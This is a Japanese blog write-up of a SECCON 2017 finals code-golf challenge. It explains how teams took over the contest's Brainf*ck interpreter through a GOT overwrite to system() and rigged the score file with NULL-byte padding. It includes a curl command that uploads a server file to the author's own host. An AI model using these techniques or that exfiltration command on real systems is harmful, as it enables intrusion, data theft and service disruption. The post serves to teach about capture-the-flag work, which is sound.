KDL BLOG
SECCON 2017の参加レポート後編です。コンテストの問題のうち、可能な限りもっとも短いソースコードで「Hello, World!」を出力するという問題の解説です。先に前編をご覧ください。
※SECCON2017国際決勝大会参加レポート前編はこちら
出力する文字よりも短いコード?
それでは前編に続いて、Defense Pointsについて解説していきます。当初、私の所感では全チームまじめにBrainf*ckコーディングを頑張っていたようで、私も「セキュリティないしはハッキングとは何なのか…」と考えながらコードが短くなるよう思考を巡らせていました。ところが、突然どこかのチームが17バイトの長さで「Hello, World!」を出力するコードを投下し、その後に12バイト、ひいては 9バイトとありえない短さのコードも出てきて唖然としました。出力する文字よりも短いとはどういうことなのかと…。 実は「attack3.txt」にはFlagの他に出力目標である「Hello, World!」という文字列が含まれていたみたいで、先のAttack PointsのFlagを奪取する要領で「Hello, World!」を出力するコードをできる限り短くすると17バイトに収まるようでした。また「YXR0YWNrNC50eHQ=」にも同様な文字列が含まれており、「attack3.txt」と違って読み込み処理のコードが必要ない分より短くすることが可能で、この手法による最終的なコードの長さは9バイトになります。競技中はゴルフが得意なメンバーがこれを一瞬でホールインワンしました。最高です。マイナス1バイトのコードの謎
もうこれで頭打ちだろうと考えていたのですが、またまた突然どこかのチームが0バイトとありえない長さで「Hello, World!」を出力するコードを書いたみたいで再び唖然としました。更にその後マイナス1バイトのコードを書いたチームが出てきて訳のわからない状態に…。果たしてこれはコードを書いたと言えるのでしょうか、言えませんね。はい。 考えられる手法としては、インタプリタないしはWebインターフェースの脆弱性をつき、コードゴルフランキングのデータベースを直接書き換えたという感じですね。やっとセキュリティのコンテスト感が出てきてわくわくしました。 ここで思い出していただきたいのが4つ目のFlagを奪取する際に使った、何の制限もなくポインタのインクリメントとデクリメントが可能な「{」と「}」という構文で、サブミットできるコードの長さ制限などで限界はありますがこれを用いればポインタを任意のアドレスに持っていくことが可能です。またBrainf*ckにはポインタが指している値のデクリメントとインクリメントができる構文があり、つまりは任意のアドレスが指している値をある程度は書き換えることが可能です。 さらにインタプリタの実行ファイルのセキュリティ機構を確認すると、RELROがPartial RELROになっており、頑張ればGlobal Offset Tableを書き換えることが可能です。 よって、例えば次のように第一引数に任意の文字列を配置できるアドレスを指してコールされているglibcの関数を、シェルコマンドを実行するsystem関数を指すように書き換えることで、サーバ上で任意のコマンドを実行できます。 競技中はexploitが得意なメンバーに丸投げすることで、良い感じにサーバ上で任意のコマンドを実行できるexploitコードが返ってきました☆(ゝω・)v ということで、早速Webインターフェースのランキングに関わる部分のソースコードを奪取して読んでいきます。次のコードがサブミット時の処理で、まず自チームのFlagはbase64でエンコード、そしてコードサイズはPHPのstrlen関数で計算され、それらをサーバ上の「score.txt」というファイルに書き込まれるようです。何故かファイルの書き込みにはシェルコマンドを実行するshell_exec関数が使われていますが、入力値はエンコードないしはエスケープされているのでここで任意のコマンド実行は厳しそうです。 次にランキングの表示部分の処理です。「score.txt」を読み込んで自然順ソートを行うPHPのnatsort関数にかけられ、先の処理で書き込まれるコードサイズが8バイト以下でかつチームFlagをbase64デコード後に0バイトでなければランキングに掲載されるようです。スコアが空欄のチームが出現
以上により、「score.txt」に直接「-1 base64エンコードした自チームのFlag」などを書き込めばランキングの上位になることがわかり勝ちを確信していたのですが、またもや突然スコアが空欄になっているチームが1位になるという不可解な状態になりました。一瞬困惑してしまいましたが当然ながら「score.txt」には他のチームの書き込みも載るわけでこれを解析すれば手法がわかりますね。おあつらえ向きにサーバにはcurlが入っているので自分の端末上でHTTPサーバを立ち上げ、サーバ上で「$ curl -F file=@/path/to/score.txt http://自分の端末のIP」という感じのコマンドを実行することで良い感じにファイルアップロードリクエストが飛んできます。 奪取したファイルを見ると、どうやら1位のチームのスコア部分にはNULLバイトが8バイト、チームFlag部分にbase64文字列の前に大量のNULLバイトが書き込まれているようでした。手元でnatsortの挙動を確認すると、文字列に関しては通常のsortのようにASCIIコードを元に並び替えが行われるようです。$ php -r '$a = ["1", "-1", "\x00", "A"]; natsort($a); print_r($a);' Array ( [2] => [1] => -1 [0] => 1 [3] => A )またPHPのbase64_decode関数はbase64で使用される文字以外が含まれているとそれを無視してデコードが行われるようです。つまり、いかに大きなNULLバイトを「score.txt」に書き込むかという勝負になりました。
$ php -r 'var_dump(base64_decode("****bWF****nZQ==****"));' string(4) "mage"ということで数百、数万バイトと書き込んでいたのですが中々1位になれず、ここは一気に勝負にでて50メガバイトほど書き込みました。これはもうぶっちぎり1位だろうと確信したのですが、結果は…! >Fatal error< どうやら書き込みすぎてPHPのメモリ使用量の制限を超えてしまったようです☆(ゝω・)v これはまずいと運営の方に「なんかサーバ壱でエラーが出ているのですが~(すっとぼけ)」と伝え、復旧と対策をお願いしました。 施行された対策はチームFlagの読み込みは数百バイト以降で切り捨てられるようになっていて、一見大きいサイズのデータを書き込んでも問題が無いように見受けられました。限界値を見極めて最終的には皆仲良く同率1位に落ち着くかと思いきや、1位はチームFlagが中途半端に途切れた状態のものに…。これはbase64_decode関数をかける前に切り捨てを行ってしまっているが故に、切り捨てられるサイズを少しだけ超えてしまった場合はbase64のFlag部分が切り捨てられてしまい、それがデコードされて中途半端な状態になってしまうというもので、所定のFlagでは絶対に1位になれないという事態に陥りました…。 紆余曲折して結局対策前の状態に戻り、Defense Pointsは皆仲良く0ptで試合終了となりました。これはそもそも大きいサイズのデータを書き込んだチームが勝ちという状態になったというのが原因で、スコアデータはテキストファイルではなく別サーバに配置したRDBMSなどを使用すれば回避できたかもしれませんね。 しかしながら、この問題はトラブルがあったもののまさに攻防戦という感じで個人的には非常に楽しめました。